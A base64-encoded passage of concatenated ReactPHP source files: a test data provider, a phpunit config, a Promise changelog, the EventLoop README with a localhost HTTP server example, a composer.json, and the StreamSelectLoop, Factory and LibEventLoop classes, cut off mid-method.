iAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGludmFsaWRDYWxsYmFja0RhdGFQcm92aWRlcigpCiAgICB7CiAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAnZW1wdHkgc3RyaW5nJyA9PiBhcnJheSgnJyksCiAgICAgICAgICAgICd0cnVlJyAgICAgICAgID0+IGFycmF5KHRydWUpLAogICAgICAgICAgICAnZmFsc2UnICAgICAgICA9PiBhcnJheShmYWxzZSksCiAgICAgICAgICAgICdvYmplY3QnICAgICAgID0+IGFycmF5KG5ldyBcc3RkQ2xhc3MpLAogICAgICAgICAgICAndHJ1dGh5JyAgICAgICA9PiBhcnJheSgxKSwKICAgICAgICAgICAgJ2ZhbHNleScgICAgICAgPT4gYXJyYXkoMCkKICAgICAgICApOwogICAgfQp9Cjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+Cgo8cGhwdW5pdCBiYWNrdXBHbG9iYWxzPSJmYWxzZSIKICAgICAgICAgYmFja3VwU3RhdGljQXR0cmlidXRlcz0iZmFsc2UiCiAgICAgICAgIGNvbG9ycz0idHJ1ZSIKICAgICAgICAgY29udmVydEVycm9yc1RvRXhjZXB0aW9ucz0idHJ1ZSIKICAgICAgICAgY29udmVydE5vdGljZXNUb0V4Y2VwdGlvbnM9ImZhbHNlIgogICAgICAgICBjb252ZXJ0V2FybmluZ3NUb0V4Y2VwdGlvbnM9InRydWUiCiAgICAgICAgIHByb2Nlc3NJc29sYXRpb249ImZhbHNlIgogICAgICAgICBzdG9wT25GYWlsdXJlPSJmYWxzZSIKICAgICAgICAgc3ludGF4Q2hlY2s9ImZhbHNlIgogICAgICAgICBib290c3RyYXA9InRlc3RzL2Jvb3RzdHJhcC5waHAiCj4KICAgIDx0ZXN0c3VpdGVzPgogICAgICAgIDx0ZXN0c3VpdGUgbmFtZT0iUHJvbWlzZSBUZXN0IFN1aXRlIj4KICAgICAgICAgICAgPGRpcmVjdG9yeT4uL3Rlc3RzL1JlYWN0L1Byb21pc2UvPC9kaXJlY3Rvcnk+CiAgICAgICAgPC90ZXN0c3VpdGU+CiAgICA8L3Rlc3RzdWl0ZXM+CgogICAgPGZpbHRlcj4KICAgICAgICA8d2hpdGVsaXN0PgogICAgICAgICAgICA8ZGlyZWN0b3J5Pi4vc3JjLzwvZGlyZWN0b3J5PgogICAgICAgIDwvd2hpdGVsaXN0PgogICAgPC9maWx0ZXI+CjwvcGhwdW5pdD4KQ0hBTkdFTE9HCj09PT09PT09PQoKKiAxLjAuNCAoMjAxMy0wNC0wMykKCiAgKiBUcmlnZ2VyIFBIUCBlcnJvcnMgd2hlbiBpbnZhbGlkIGNhbGxiYWNrIGlzIHBhc3NlZC4KICAqIEZ1bGx5IHJlc29sdmUgcmVqZWN0aW9uIHZhbHVlIGJlZm9yZSBjYWxsaW5nIHJlamVjdGlvbiBoYW5kbGVyLgogICogQWRkIFdoZW46OmxhenkoKSB0byBjcmVhdGUgbGF6eSBwcm9taXNlcyB3aGljaCB3aWxsIGJlIGluaXRpYWxpemVkIG9uY2UgYQogICAgY29uc3VtZXIgY2FsbHMgdGhlIHRoZW4oKSBtZXRob2QuCgoqIDEuMC4zICgyMDEyLTExLTE3KQoKICAqIEFkZCBgUHJvbWlzb3JJbnRlcmZhY2VgIGZvciBvYmplY3RzIHRoYXQgaGF2ZSBhIGBwcm9taXNlKClgIG1ldGhvZC4KCiogMS4wLjIgKDIwMTItMTEtMTQpCgogICogRml4IGJ1ZyBpbiBXaGVuOjphbnkoKSBub3QgY29ycmVjdGx5IHVud3JhcHBpbmcgdG8gYSBzaW5nbGUgcmVzdWx0IHZhbHVlCiAgKiAkcHJvbWlzZU9yVmFsdWUgYXJndW1lbnQgb2YgV2hlbjo6cmVzb2x2ZSgpIGFuZCBXaGVuOjpyZWplY3QoKSBpcyBub3cgb3B0aW9uYWwKCiogMS4wLjEgKDIwMTItMTEtMTMpCgogICogUHJldmVudCBkZWVwIHJlY3Vyc2lvbiB3aGljaCB3YXMgcmVhY2hpbmcgYHhkZWJ1Zy5tYXhfbmVzdGluZ19sZXZlbGAgZGVmYXVsdCBvZiAxMDAKCiogMS4wLjAgKDIwMTItMTEtMDcpCgogICogRmlyc3QgdGFnZ2VkIHJlbGVhc2UKPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxFdmVudExvb3A7Cgp1c2UgUmVhY3RcRXZlbnRMb29wXFRpbWVyXFRpbWVyOwp1c2UgUmVhY3RcRXZlbnRMb29wXFRpbWVyXFRpbWVySW50ZXJmYWNlOwp1c2UgUmVhY3RcRXZlbnRMb29wXFRpbWVyXFRpbWVyczsKCmNsYXNzIFN0cmVhbVNlbGVjdExvb3AgaW1wbGVtZW50cyBMb29wSW50ZXJmYWNlCnsKICAgIGNvbnN0IFFVQU5UVU1fSU5URVJWQUwgPSAxMDAwMDAwOwoKICAgIHByaXZhdGUgJHRpbWVyczsKICAgIHByaXZhdGUgJHJ1bm5pbmcgPSBmYWxzZTsKICAgIHByaXZhdGUgJHJlYWRTdHJlYW1zID0gYXJyYXkoKTsKICAgIHByaXZhdGUgJHJlYWRMaXN0ZW5lcnMgPSBhcnJheSgpOwogICAgcHJpdmF0ZSAkd3JpdGVTdHJlYW1zID0gYXJyYXkoKTsKICAgIHByaXZhdGUgJHdyaXRlTGlzdGVuZXJzID0gYXJyYXkoKTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgICR0aGlzLT50aW1lcnMgPSBuZXcgVGltZXJzKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGFkZFJlYWRTdHJlYW0oJHN0cmVhbSwgJGxpc3RlbmVyKQogICAgewogICAgICAgICRpZCA9IChpbnQpICRzdHJlYW07CgogICAgICAgIGlmICghaXNzZXQoJHRoaXMtPnJlYWRTdHJlYW1zWyRpZF0pKSB7CiAgICAgICAgICAgICR0aGlzLT5yZWFkU3RyZWFtc1skaWRdID0gJHN0cmVhbTsKICAgICAgICAgICAgJHRoaXMtPnJlYWRMaXN0ZW5lcnNbJGlkXSA9ICRsaXN0ZW5lcjsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGFkZFdyaXRlU3RyZWFtKCRzdHJlYW0sICRsaXN0ZW5lcikKICAgIHsKICAgICAgICAkaWQgPSAoaW50KSAkc3RyZWFtOwoKICAgICAgICBpZiAoIWlzc2V0KCR0aGlzLT53cml0ZVN0cmVhbXNbJGlkXSkpIHsKICAgICAgICAgICAgJHRoaXMtPndyaXRlU3RyZWFtc1skaWRdID0gJHN0cmVhbTsKICAgICAgICAgICAgJHRoaXMtPndyaXRlTGlzdGVuZXJzWyRpZF0gPSAkbGlzdGVuZXI7CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZW1vdmVSZWFkU3RyZWFtKCRzdHJlYW0pCiAgICB7CiAgICAgICAgJGlkID0gKGludCkgJHN0cmVhbTsKCiAgICAgICAgdW5zZXQoCiAgICAgICAgICAgICR0aGlzLT5yZWFkU3RyZWFtc1skaWRdLAogICAgICAgICAgICAkdGhpcy0+cmVhZExpc3RlbmVyc1skaWRdCiAgICAgICAgKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlV3JpdGVTdHJlYW0oJHN0cmVhbSkKICAgIHsKICAgICAgICAkaWQgPSAoaW50KSAkc3RyZWFtOwoKICAgICAgICB1bnNldCgKICAgICAgICAgICAgJHRoaXMtPndyaXRlU3RyZWFtc1skaWRdLAogICAgICAgICAgICAkdGhpcy0+d3JpdGVMaXN0ZW5lcnNbJGlkXQogICAgICAgICk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZVN0cmVhbSgkc3RyZWFtKQogICAgewogICAgICAgICR0aGlzLT5yZW1vdmVSZWFkU3RyZWFtKCRzdHJlYW0pOwogICAgICAgICR0aGlzLT5yZW1vdmVXcml0ZVN0cmVhbSgkc3RyZWFtKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkVGltZXIoJGludGVydmFsLCAkY2FsbGJhY2spCiAgICB7CiAgICAgICAgJHRpbWVyID0gbmV3IFRpbWVyKCR0aGlzLCAkaW50ZXJ2YWwsICRjYWxsYmFjaywgZmFsc2UpOwogICAgICAgICR0aGlzLT50aW1lcnMtPmFkZCgkdGltZXIpOwoKICAgICAgICByZXR1cm4gJHRpbWVyOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRQZXJpb2RpY1RpbWVyKCRpbnRlcnZhbCwgJGNhbGxiYWNrKQogICAgewogICAgICAgICR0aW1lciA9IG5ldyBUaW1lcigkdGhpcywgJGludGVydmFsLCAkY2FsbGJhY2ssIHRydWUpOwogICAgICAgICR0aGlzLT50aW1lcnMtPmFkZCgkdGltZXIpOwoKICAgICAgICByZXR1cm4gJHRpbWVyOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjYW5jZWxUaW1lcihUaW1lckludGVyZmFjZSAkdGltZXIpCiAgICB7CiAgICAgICAgJHRoaXMtPnRpbWVycy0+Y2FuY2VsKCR0aW1lcik7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGlzVGltZXJBY3RpdmUoVGltZXJJbnRlcmZhY2UgJHRpbWVyKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+dGltZXJzLT5jb250YWlucygkdGltZXIpOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXROZXh0RXZlbnRUaW1lSW5NaWNyb1NlY29uZHMoKQogICAgewogICAgICAgICRuZXh0RXZlbnQgPSAkdGhpcy0+dGltZXJzLT5nZXRGaXJzdCgpOwoKICAgICAgICBpZiAobnVsbCA9PT0gJG5leHRFdmVudCkgewogICAgICAgICAgICByZXR1cm4gc2VsZjo6UVVBTlRVTV9JTlRFUlZBTDsKICAgICAgICB9CgogICAgICAgICRjdXJyZW50VGltZSA9IG1pY3JvdGltZSh0cnVlKTsKICAgICAgICBpZiAoJG5leHRFdmVudCA+ICRjdXJyZW50VGltZSkgewogICAgICAgICAgICByZXR1cm4gKCRuZXh0RXZlbnQgLSAkY3VycmVudFRpbWUpICogMTAwMDAwMDsKICAgICAgICB9CgogICAgICAgIHJldHVybiAwOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzbGVlcE9uUGVuZGluZ1RpbWVycygpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT50aW1lcnMtPmlzRW1wdHkoKSkgewogICAgICAgICAgICAkdGhpcy0+cnVubmluZyA9IGZhbHNlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIFdlIHVzZSB1c2xlZXAoKSBpbnN0ZWFkIG9mIHN0cmVhbV9zZWxlY3QoKSB0byBlbXVsYXRlIHRpbWVvdXRzCiAgICAgICAgICAgIC8vIHNpbmNlIHRoZSBsYXR0ZXIgZmFpbHMgd2hlbiB0aGVyZSBhcmUgbm8gc3RyZWFtcyByZWdpc3RlcmVkIGZvcgogICAgICAgICAgICAvLyByZWFkIC8gd3JpdGUgZXZlbnRzLiBCbGFtZSBQSFAgZm9yIHVzIG5lZWRpbmcgdGhpcyBoYWNrLgogICAgICAgICAgICB1c2xlZXAoJHRoaXMtPmdldE5leHRFdmVudFRpbWVJbk1pY3JvU2Vjb25kcygpKTsKICAgICAgICB9CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHJ1blN0cmVhbVNlbGVjdCgpCiAgICB7CiAgICAgICAgJHJlYWQgPSAkdGhpcy0+cmVhZFN0cmVhbXMgPzogbnVsbDsKICAgICAgICAkd3JpdGUgPSAkdGhpcy0+d3JpdGVTdHJlYW1zID86IG51bGw7CiAgICAgICAgJGV4Y2VwdCA9IG51bGw7CgogICAgICAgIGlmICghJHJlYWQgJiYgISR3cml0ZSkgewogICAgICAgICAgICAkdGhpcy0+c2xlZXBPblBlbmRpbmdUaW1lcnMoKTsKCiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgIGlmIChzdHJlYW1fc2VsZWN0KCRyZWFkLCAkd3JpdGUsICRleGNlcHQsIDAsICR0aGlzLT5nZXROZXh0RXZlbnRUaW1lSW5NaWNyb1NlY29uZHMoKSkgPiAwKSB7CiAgICAgICAgICAgIGlmICgkcmVhZCkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJlYWQgYXMgJHN0cmVhbSkgewogICAgICAgICAgICAgICAgICAgICRsaXN0ZW5lciA9ICR0aGlzLT5yZWFkTGlzdGVuZXJzWyhpbnQpICRzdHJlYW1dOwogICAgICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jKCRsaXN0ZW5lciwgJHN0cmVhbSwgJHRoaXMpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoJHdyaXRlKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkd3JpdGUgYXMgJHN0cmVhbSkgewogICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPndyaXRlTGlzdGVuZXJzWyhpbnQpICRzdHJlYW1dKSkgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICRsaXN0ZW5lciA9ICR0aGlzLT53cml0ZUxpc3RlbmVyc1soaW50KSAkc3RyZWFtXTsKICAgICAgICAgICAgICAgICAgICBjYWxsX3VzZXJfZnVuYygkbGlzdGVuZXIsICRzdHJlYW0sICR0aGlzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGljaygpCiAgICB7CiAgICAgICAgJHRoaXMtPnRpbWVycy0+dGljaygpOwogICAgICAgICR0aGlzLT5ydW5TdHJlYW1TZWxlY3QoKTsKCiAgICAgICAgcmV0dXJuICR0aGlzLT5ydW5uaW5nOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBydW4oKQogICAgewogICAgICAgICR0aGlzLT5ydW5uaW5nID0gdHJ1ZTsKCiAgICAgICAgd2hpbGUgKCR0aGlzLT50aWNrKCkpIHsKICAgICAgICAgICAgLy8gTk9PUAogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gc3RvcCgpCiAgICB7CiAgICAgICAgJHRoaXMtPnJ1bm5pbmcgPSBmYWxzZTsKICAgIH0KfQojIEV2ZW50TG9vcCBDb21wb25lbnQKCkV2ZW50IGxvb3AgYWJzdHJhY3Rpb24gbGF5ZXIgdGhhdCBsaWJyYXJpZXMgY2FuIHVzZSBmb3IgZXZlbnRlZCBJL08uCgpJbiBvcmRlciBmb3IgYXN5bmMgYmFzZWQgbGlicmFyaWVzIHRvIGJlIGludGVyb3BlcmFibGUsIHRoZXkgbmVlZCB0byB1c2UgdGhlCnNhbWUgZXZlbnQgbG9vcC4gVGhpcyBjb21wb25lbnQgcHJvdmlkZXMgYSBjb21tb24gYExvb3BJbnRlcmZhY2VgIHRoYXQgYW55CmxpYnJhcnkgY2FuIHRhcmdldC4gVGhpcyBhbGxvd3MgdGhlbSB0byBiZSB1c2VkIGluIHRoZSBzYW1lIGxvb3AsIHdpdGggb25lCnNpbmdsZSBgcnVuYCBjYWxsIHRoYXQgaXMgY29udHJvbGxlZCBieSB0aGUgdXNlci4KCkluIGFkZGl0aW9uIHRvIHRoZSBpbnRlcmZhY2UgdGhlcmUgYXJlIHNvbWUgaW1wbGVtZW50YXRpb25zIHByb3ZpZGVkOgoKKiBgU3RyZWFtU2VsZWN0TG9vcGA6IFRoaXMgaXMgdGhlIG9ubHkgaW1wbGVtZW50YXRpb24gd2hpY2ggd29ya3Mgb3V0IG9mIHRoZQogIGJveCB3aXRoIFBIUC4gSXQgZG9lcyBhIHNpbXBsZSBgc2VsZWN0YCBzeXN0ZW0gY2FsbC4gSXQncyBub3QgdGhlIG1vc3QKICBwZXJmb3JtYW50IG9mIGxvb3BzLCBidXQgc3RpbGwgZG9lcyB0aGUgam9iIHF1aXRlIHdlbGwuCgoqIGBMaWJFdmVudExvb3BgOiBUaGlzIHVzZXMgdGhlIGBsaWJldmVudGAgcGVjbCBleHRlbnNpb24uIGBsaWJldmVudGAgaXRzZWxmCiAgc3VwcG9ydHMgYSBudW1iZXIgb2Ygc3lzdGVtLXNwZWNpZmljIGJhY2tlbmRzIChlcG9sbCwga3F1ZXVlKS4KCiogYExpYkV2TG9vcGA6IFRoaXMgdXNlcyB0aGUgYGxpYmV2YCBwZWNsIGV4dGVuc2lvbgogIChbZ2l0aHViXShodHRwczovL2dpdGh1Yi5jb20vbTRydzNyL3BocC1saWJldikpLiBJdCBzdXBwb3J0cyB0aGUgc2FtZQogIGJhY2tlbmRzIGFzIGxpYmV2ZW50LgoKQWxsIG9mIHRoZSBsb29wcyBzdXBwb3J0IHRoZXNlIGZlYXR1cmVzOgoKKiBGaWxlIGRlc2NyaXB0b3IgcG9sbGluZwoqIE9uZS1vZmYgdGltZXJzCiogUGVyaW9kaWMgdGltZXJzCgojIyBVc2FnZQoKSGVyZSBpcyBhbiBhc3luYyBIVFRQIHNlcnZlciBidWlsdCB3aXRoIGp1c3QgdGhlIGV2ZW50IGxvb3AuCgogICAgJGxvb3AgPSBSZWFjdFxFdmVudExvb3BcRmFjdG9yeTo6Y3JlYXRlKCk7CgogICAgJHNlcnZlciA9IHN0cmVhbV9zb2NrZXRfc2VydmVyKCd0Y3A6Ly8xMjcuMC4wLjE6ODA4MCcpOwogICAgc3RyZWFtX3NldF9ibG9ja2luZygkc2VydmVyLCAwKTsKICAgICRsb29wLT5hZGRSZWFkU3RyZWFtKCRzZXJ2ZXIsIGZ1bmN0aW9uICgkc2VydmVyKSB1c2UgKCRsb29wKSB7CiAgICAgICAgJGNvbm4gPSBzdHJlYW1fc29ja2V0X2FjY2VwdCgkc2VydmVyKTsKICAgICAgICAkZGF0YSA9ICJIVFRQLzEuMSAyMDAgT0tcclxuQ29udGVudC1MZW5ndGg6IDNcclxuXHJcbkhpXG4iOwogICAgICAgICRsb29wLT5hZGRXcml0ZVN0cmVhbSgkY29ubiwgZnVuY3Rpb24gKCRjb25uKSB1c2UgKCYkZGF0YSwgJGxvb3ApIHsKICAgICAgICAgICAgJHdyaXR0ZW4gPSBmd3JpdGUoJGNvbm4sICRkYXRhKTsKICAgICAgICAgICAgaWYgKCR3cml0dGVuID09PSBzdHJsZW4oJGRhdGEpKSB7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGNvbm4pOwogICAgICAgICAgICAgICAgJGxvb3AtPnJlbW92ZVN0cmVhbSgkY29ubik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZGF0YSA9IHN1YnN0cigkZGF0YSwgMCwgJHdyaXR0ZW4pOwogICAgICAgICAgICB9CiAgICAgICAgfSk7CiAgICB9KTsKCiAgICAkbG9vcC0+YWRkUGVyaW9kaWNUaW1lcig1LCBmdW5jdGlvbiAoKSB7CiAgICAgICAgJG1lbW9yeSA9IG1lbW9yeV9nZXRfdXNhZ2UoKSAvIDEwMjQ7CiAgICAgICAgJGZvcm1hdHRlZCA9IG51bWJlcl9mb3JtYXQoJG1lbW9yeSwgMykuJ0snOwogICAgICAgIGVjaG8gIkN1cnJlbnQgbWVtb3J5IHVzYWdlOiB7JGZvcm1hdHRlZH1cbiI7CiAgICB9KTsKCiAgICAkbG9vcC0+cnVuKCk7CgoqKk5vdGU6KiogVGhlIGZhY3RvcnkgaXMganVzdCBmb3IgY29udmVuaWVuY2UuIEl0IHRyaWVzIHRvIHBpY2sgdGhlIGJlc3QKYXZhaWxhYmxlIGltcGxlbWVudGF0aW9uLiBMaWJyYXJpZXMgYFNIT1VMRGAgYWxsb3cgdGhlIHVzZXIgdG8gaW5qZWN0IGFuCmluc3RhbmNlIG9mIHRoZSBsb29wLiBUaGV5IGBNQVlgIHVzZSB0aGUgZmFjdG9yeSB3aGVuIHRoZSB1c2VyIGRpZCBub3Qgc3VwcGx5CmEgbG9vcC4KewogICAgIm5hbWUiOiAicmVhY3QvZXZlbnQtbG9vcCIsCiAgICAiZGVzY3JpcHRpb24iOiAiRXZlbnQgbG9vcCBhYnN0cmFjdGlvbiBsYXllciB0aGF0IGxpYnJhcmllcyBjYW4gdXNlIGZvciBldmVudGVkIEkvTy4iLAogICAgImtleXdvcmRzIjogWyJldmVudC1sb29wIl0sCiAgICAibGljZW5zZSI6ICJNSVQiLAogICAgInJlcXVpcmUiOiB7CiAgICAgICAgInBocCI6ICI+PTUuMy4zIgogICAgfSwKICAgICJzdWdnZXN0IjogewogICAgICAgICJleHQtbGliZXZlbnQiOiAiPj0wLjAuNSIsCiAgICAgICAgImV4dC1saWJldiI6ICIqIgogICAgfSwKICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAicHNyLTAiOiB7ICJSZWFjdFxcRXZlbnRMb29wIjogIiIgfQogICAgfSwKICAgICJ0YXJnZXQtZGlyIjogIlJlYWN0L0V2ZW50TG9vcCIsCiAgICAiZXh0cmEiOiB7CiAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICB9CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxFdmVudExvb3A7Cgp1c2UgUmVhY3RcRXZlbnRMb29wXFN0cmVhbVNlbGVjdExvb3A7CnVzZSBSZWFjdFxFdmVudExvb3BcTGliRXZlbnRMb29wOwoKY2xhc3MgRmFjdG9yeQp7CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGNyZWF0ZSgpCiAgICB7CiAgICAgICAgLy8gQGNvZGVDb3ZlcmFnZUlnbm9yZVN0YXJ0CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXZlbnRfYmFzZV9uZXcnKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IExpYkV2ZW50TG9vcCgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBTdHJlYW1TZWxlY3RMb29wKCk7CiAgICAgICAgLy8gQGNvZGVDb3ZlcmFnZUlnbm9yZUVuZAogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRXZlbnRMb29wOwoKdXNlIFNwbE9iamVjdFN0b3JhZ2U7CnVzZSBSZWFjdFxFdmVudExvb3BcVGltZXJcVGltZXI7CnVzZSBSZWFjdFxFdmVudExvb3BcVGltZXJcVGltZXJJbnRlcmZhY2U7CgpjbGFzcyBMaWJFdmVudExvb3AgaW1wbGVtZW50cyBMb29wSW50ZXJmYWNlCnsKICAgIGNvbnN0IE1JTl9USU1FUl9SRVNPTFVUSU9OID0gMC4wMDE7CgogICAgcHJpdmF0ZSAkYmFzZTsKICAgIHByaXZhdGUgJGNhbGxiYWNrOwogICAgcHJpdmF0ZSAkdGltZXJzOwoKICAgIHByaXZhdGUgJGV2ZW50cyA9IGFycmF5KCk7CiAgICBwcml2YXRlICRmbGFncyA9IGFycmF5KCk7CiAgICBwcml2YXRlICRyZWFkQ2FsbGJhY2tzID0gYXJyYXkoKTsKICAgIHByaXZhdGUgJHdyaXRlQ2FsbGJhY2tzID0gYXJyYXkoKTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgICR0aGlzLT5iYXNlID0gZXZlbnRfYmFzZV9uZXcoKTsKICAgICAgICAkdGhpcy0+Y2FsbGJhY2sgPSAkdGhpcy0+Y3JlYXRlTGliZXZlbnRDYWxsYmFjaygpOwogICAgICAgICR0aGlzLT50aW1lcnMgPSBuZXcgU3BsT2JqZWN0U3RvcmFnZSgpOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBjcmVhdGVMaWJldmVudENhbGxiYWNrKCkKICAgIHsKICAgICAgICAkcmVhZENhbGxiYWNrcyA9ICYkdGhpcy0+cmVhZENhbGxiYWNrczsKICAgICAgICAkd3JpdGVDYWxsYmFja3MgPSAmJHRoaXMtPndyaXRlQ2FsbGJhY2tzOwoKICAgICAgICByZXR1cm4gZnVuY3Rpb24gKCRzdHJlYW0sICRmbGFncywgJGxvb3ApIHVzZSAoJiRyZWFkQ2FsbGJhY2tzLCAmJHdyaXRlQ2FsbGJhY2tzKSB7CiAgICAgICAgICAgICRpZCA9IChpbnQpICRzdHJlYW07CgogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgaWYgKCgkZmxhZ3MgJiBFVl9SRUFEKSA9PT0gRVZfUkVBRCAmJiBpc3NldCgkcmVhZENhbGxiYWNrc1skaWRdKSkgewogICAgICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jKCRyZWFkQ2FsbGJhY2tzWyRpZF0sICRzdHJlYW0sICRsb29wKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoKCRmbGFncyAmIEVWX1dSSVRFKSA9PT0gRVZfV1JJVEUgJiYgaXNzZXQoJHdyaXRlQ2FsbGJhY2tzWyRpZF0pKSB7CiAgICAgICAgICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHdyaXRlQ2FsbGJhY2tzWyRpZF0sICRzdHJlYW0sICRsb29wKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAoXEV4Y2VwdGlvbiAkZXgpIHsKICAgICAgICAgICAgICAgIC8vIElmIG9uZSBvZiB0aGUgY2FsbGJhY2tzIHRocm93cyBhbiBleGNlcHRpb24gd2UgbXVzdCBzdG9wIHRoZSBsb29wCiAgICAgICAgICAgICAgICAvLyBvdGhlcndpc2UgbGliZXZlbnQgd2lsbCBzd2FsbG93IHRoZSBleGNlcHRpb24gYW5kIGdvIGJlcnNlcmsuCiAgICAgICAgICAgICAgICAkbG9vcC0+c3RvcCgpOwoKICAgICAgICAgICAgICAgIHRocm93ICRleDsKICAgICAgICAgICAgfQogICAgICAgIH07CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGFkZFJlYWRTdHJlYW0oJHN0cmVhbSwgJGxpc3RlbmVyKQogICAgewogICAgICAgICR0aGlzLT5hZGRTdHJlYW1FdmVudCgkc3RyZWFtLCBFVl9SRUFELCAncmVhZCcsICRsaXN0ZW5lcik7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGFkZFdyaXRlU3RyZWFtKCRzdHJlYW0sICRsaXN0ZW5lcikKICAgIHsKICAgICAgICAkdGhpcy0+YWRkU3RyZWFtRXZlbnQoJHN0cmVhbSwgRVZfV1JJVEUsICd3cml0ZScsICRsaXN0ZW5lcik7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZFN0cmVhbUV2ZW50KCRzdHJlYW0sICRldmVudENsYXNzLCAkdHlwZSwgJGxpc3RlbmVyKQogICAgewogICAgICAgICRpZCA9IChpbnQpICRzdHJlYW07CgogICAgICAgIGlmICgkZXhpc3RpbmcgPSBpc3NldCgkdGhpcy0+ZXZlbnRzWyRpZF0pKSB7CiAgICAgICAgICAgIGlmICgoJHRoaXMtPmZsYWdzWyRpZF0gJiAkZXZlbnRDbGFzcykgPT09ICRldmVudENsYXNzKSB7CiAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGV2ZW50ID0gJHRoaXMtPmV2ZW50c1skaWRdOwogICAgICAgICAgICBldmVudF9kZWwoJGV2ZW50KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkZXZlbnQgPSBldmVudF9uZXcoKTsKICAgICAgICB9CgogICAgICAgICRmbGFncyA9IGlzc2V0KCR0aGlzLT5mbGFnc1skaWRdKSA/ICR0aGlzLT5mbGFnc1skaWRdIHwgJGV2ZW50Q2xhc3MgOiAkZXZlbnRDbGFzczsKICAgICAgICBldmVudF9zZXQoJGV2ZW50LCAkc3RyZWFtLCAkZmxhZ3MgfCBFVl9QRVJTSVNULCAkdGhpcy0+Y2FsbGJhY2ssICR0aGlzKTsKCiAgICAgICAgaWYgKCEkZXhpc3RpbmcpIHsKICAgICAgICAgICAgLy8gU2V0IHRoZSBiYXNlIG9ubHkgaWYgJGV2ZW50IGhhcyBiZWVuIG5ld2x5IGNyZWF0ZWQgb3IgYmUgcmVhZHkgZm9yIHNlZ2ZhdWx0cy4KICAgICAgICAgICAgZXZlbnRfYmFzZV9zZXQoJGV2ZW50LCAkdGhpcy0+YmFzZSk7CiAgICAgICAgfQoKICAgICAgICBldmVudF9hZGQoJGV2ZW50KTsKCiAgICAgICAgJHRoaXMtPmV2ZW50c1skaWRdID0gJGV2ZW50OwogICAgICAgICR0aGlzLT5mbGFnc1skaWRdID0gJGZsYWdzOwogICAgICAgICR0aGlzLT57InskdHlwZX1DYWxsYmFja3MifVskaWRdID0gJGxpc3RlbmVyOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZW1vdmVSZWFkU3RyZWFtKCRzdHJlYW0pCiAgICB7CiAgICAgICAgJHRoaXMtPnJlbW92ZVN0cmVhbUV2ZW50KCRzdHJlYW0sIEVWX1JFQUQsICdyZWFkJyk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZVdyaXRlU3RyZWFtKCRzdHJlYW0pCiAgICB7CiAgICAgICAgJHRoaXMtPnJlbW92ZVN0cmVhbUV2ZW50KCRzdHJlYW0sIEVWX1dSSVRFLCAnd3JpdGUnKTsKICAgIH0KCiAgICBwc